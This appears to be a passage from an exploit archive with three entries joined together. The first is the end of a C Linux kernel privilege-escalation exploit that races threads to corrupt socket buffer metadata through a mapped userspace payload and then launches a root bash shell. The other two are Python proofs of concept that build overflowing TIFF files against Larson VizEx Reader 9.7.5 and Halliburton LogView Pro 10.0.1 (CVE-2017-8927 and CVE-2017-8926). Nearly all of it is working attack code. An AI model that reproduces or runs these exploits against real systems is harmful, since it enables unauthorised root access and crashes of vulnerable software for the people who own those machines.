	while (1) {
		skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
		skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
	}
}

int sockets[2];

void *write_thr(void *arg) {
	// Write blocks until setsockopt(SO_SNDBUF).
	write(sockets[1], "\x5c", 1);

	if (getuid() == 0) {
		printf("[+] got r00t\n");
		execl("/bin/bash", "bash", NULL);
		perror("execl()");
	}
	printf("[-] something went wrong\n");
}

int main() {
	void *addr;
	int rv;
	uint32_t sndbuf;

	addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
		PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
		-1, 0);
	if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
		perror("mmap()");
		exit(EXIT_FAILURE);
	}

	printf("[.] userspace payload mmapped at %p\n", addr);

 	pthread_t skb_th;
    	rv = pthread_create(&skb_th, 0, skb_thr, NULL);
	if (rv != 0) {
		perror("pthread_create()");
		exit(EXIT_FAILURE);
	}
    	usleep(10000);

	printf("[.] overwriting thread started\n");

	rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
	if (rv != 0) {
		perror("socketpair()");
		exit(EXIT_FAILURE);
	}

	printf("[.] sockets opened\n");

	sndbuf = SNDBUF;
	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
			&sndbuf, sizeof(sndbuf));
	if (rv != 0) {
		perror("setsockopt()");
		exit(EXIT_FAILURE);
	}

	printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);

	pthread_t write_th;
	rv = pthread_create(&write_th, 0, write_thr, NULL);
	if (rv != 0) {
		perror("pthread_create()");
		exit(EXIT_FAILURE);
	}
	usleep(10000);

	printf("[.] writing to socket\n");

	// Wake up blocked write.
	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
			&sndbuf, sizeof(sndbuf));
	if (rv != 0) {
		perror("setsockopt()");
		exit(EXIT_FAILURE);
	}
	usleep(10000);

	close(sockets[0]);
	close(sockets[1]);

	return 0;
}
            
#!/usr/bin/python
# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date              : 14/05/2017
# Exploit Author    : Muhann4d
# CVE				: CVE-2017-8927
# Vendor Homepage   : http://www.cgmlarson.com/
# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
            
#!/usr/bin/python
# Exploit Title     : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
# Date              : 2017-05-14
# Exploit Author    : Muhann4d
# CVE               : CVE-2017-8926
# Vendor Homepage   : http://www.halliburton.com
# Software Link     : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
# Affected Versions : 10.0.1   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1

# Vendor has been cantacted but no reply.

buf = "\x41" * 848
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()